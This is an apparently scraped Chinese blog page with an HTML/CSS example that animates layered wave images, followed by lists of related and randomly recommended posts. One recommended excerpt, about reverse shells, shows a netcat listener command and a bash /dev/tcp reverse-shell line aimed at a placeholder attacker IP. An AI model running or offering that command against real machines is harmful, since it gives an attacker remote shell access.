参考：https://blog.csdn.net/zhichaosong/article/details/80944924#_99

效果：

wave2.png

html:

<!DOCTYPE html>

<html>

    <head>

        <style>

            body {

                margin: 0;

            }

            .blue-bg {

                height: 510px;

                width: 100%;

                margin: auto;

                background: linear-gradient(to bottom, #3ec4fc, #0081cc);

            }

            .top-btn {

                height: 400px;

            }

            .water-group {

                position: relative;

                height: 110px;

                width: 100%;

                overflow: hidden;

            }

            .water-group .water {

                position: absolute;

                width: 200%;

                height: 100%;

                background-size: 50% 100%;

            }

            .water-group .water1 {

                top: 20px;

                left: -100%;

                opacity: 0.2;

                animation: water-right 20s infinite linear;

            }

            .water-group .water2 {

                top: 30px;

                left: 0;

                opacity: 0.3;

                animation: water-left 30s infinite linear;

            }

            .water-group .water3 {

                top: 44px;

                left: -100%;

                animation: water-right 40s infinite linear;

            }

            @keyframes water-right {

                0% {

                    transform: translateX(0) translateZ(0) scaleY(1)

                }

                50% {

                    transform: translateX(25%) translateZ(0) scaleY(0.85)

                }

                100% {

                    transform: translateX(50%) translateZ(0) scaleY(1)

                }

            }

            @keyframes water-left {

                from {

                    transform: translate(0%, 0px);

                }

                to {

                    transform: translate(-50%, 0px);

                }

            }

        </style>

    </head>

    <body>

        <div class="blue-bg">

            <div class="top-btn">

            </div>

            <div class="water-group">

                <div class="water water1" style="background-image: url('wave2.png')"></div>

                <div class="water water2" style="background-image: url('wave2.png')"></div>

                <div class="water water3" style="background-image: url('wave2.png')"></div>

            </div>

        </div>

    </body>

</html>

css 图片波浪效果的更多相关文章

  1. 纯 CSS 实现波浪效果！

    一直以来,使用纯 CSS 实现波浪效果都是十分困难的. 因为实现波浪的曲线需要借助贝塞尔曲线. 而使用纯 CSS 的方式,实现贝塞尔曲线,额,暂时是没有很好的方法. 当然,借助其他力量(SVG.CAN ...

  2. 一种巧妙的使用 CSS 制作波浪效果的思路

    在之前,我介绍过几种使用纯 CSS 实现波浪效果的方式,关于它们有两篇相关的文章: 纯 CSS 实现波浪效果! 巧用 CSS 实现酷炫的充电动画 本文将会再介绍另外一种使用 CSS 实现的波浪效果,思 ...

  3. 使用纯css实现波浪效果

    有时候我们需要实现水晃动的效果,其实我们可以通过css旋转动画和圆角来实现. 首先来2个div,外层div相对定位,内层div绝对定位,内层div大致位于外层div上半部分.外层div设置一个颜色较深 ...

  4. html/css 图片展示效果

    demo.html <!DOCTYPE html> <html lang="en"> <head> <meta charset=" ...

  5. css图片切换效果分析+翻译整理

    Demos:http://tympanus.net/Tutorials/CSS3SlidingImagePanels/ 出处:http://tympanus.net/codrops/2012/01/1 ...

  6. pixijs shader 实现图片波浪效果

    const app = new PIXI.Application({ transparent: true }); document.body.appendChild(app.view); // Cre ...

  7. CSS 奇技淫巧 | 妙用混合模式实现文字镂空波浪效果

    本文将介绍一个小技巧,通过混合模式 mix-blend-mode 巧妙的实现文字的镂空波浪效果. 起因 一日,一群友私聊问我.如何使用 CSS 实现下述效果,一个文字的波浪效果: 我当时想都没想,就回 ...

  8. CSS图片翻转动画技术详解

    因为不断有人问我,现在我补充一下:IE是支持这种技术的!尽管会很麻烦.需要做的是旋转front和back元素,而不是旋转整个容器元素.如果你使用的是最新版的IE,可以忽略这一节.IE10+是支持的,I ...

  9. CSS 实现图片灰度效果 兼容各种浏览器

    CSS 实现图片灰度效果 兼容各种浏览器如360浏览器 CSS实现图片灰度效果就是通过CSS样式让彩色图片呈现为灰色,相当于把一张图像的颜色模式调整为灰度,CSS可以通过以下几种方法来实现灰度效果. ...

随机推荐

  1. 各种反弹shell的总结

    linux自带的bash反弹shell 在攻击机行执行 nc -lvvp 12345 来监听端口 在目标机上执行bash -i >& /dev/tcp/攻击机IP/12345 0> ...

  2. Spring-Security (学习记录五)--配置登录时,密码采用md5加密，以及获取登录信息属性监听同步自己想要的登录信息

    目录 1. PasswordEncoder 采用密码加密 2. 获取当前的用户信息 1. PasswordEncoder 采用密码加密 使用前面的例子.可以看出我们数据库密码是采用明文的,我们在登录的 ...

  3. yolov1代码阅读

    yolov1使用的backbone是由GoogLeNet启发而来,有24个卷积层,最后接2个全连接层,详细结构如下图: 检测网络的输入分辨率是448X448,最后的特征图大小为7X7.在特征图的每一个 ...

  4. 在桌面上显示IE图标(非快捷键)

    1.在桌面点击右键选择"属性"打开"显示属性",选择"桌面">"自定义桌面">"常规"& ...

  5. hexo next主题深度优化(八)，微加速

    个人博客:https://mmmmmm.me 源码:https://github.com/dataiyangu/dataiyangu.github.io 通过不断地上网查资料,引用的js.css.图片 ...

  6. VIM 配色方案，先保存一下

    https://github.com/chriskempson/tomorrow-theme http://ethanschoonover.com/solarized http://ethanscho ...

  7. HDU 5052 /// 树链剖分+线段树区间合并

    题目大意: 给定n (表示树有n个结点) 接下来n行给定n个点的点权(在这个点上买鸡或者卖鸡的价钱就是点权) 接下来n-1行每行给定 x y 表示x结点和y结点之间有一条边 给定q (表示有q个询问) ...

  8. table 单列宽度设置

    参考:https://blog.csdn.net/lunhui1994_/article/details/81120579 效果: html: <!DOCTYPE html> <ht ...

  9. HTML_案例(注册案例CSS版)

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  10. C 终端输入 字符123 输出 10进制123

    #include <stdio.h> #define N 20 int main(int argc, const char *argv[]) { char a[N] = {'\0'}; i ...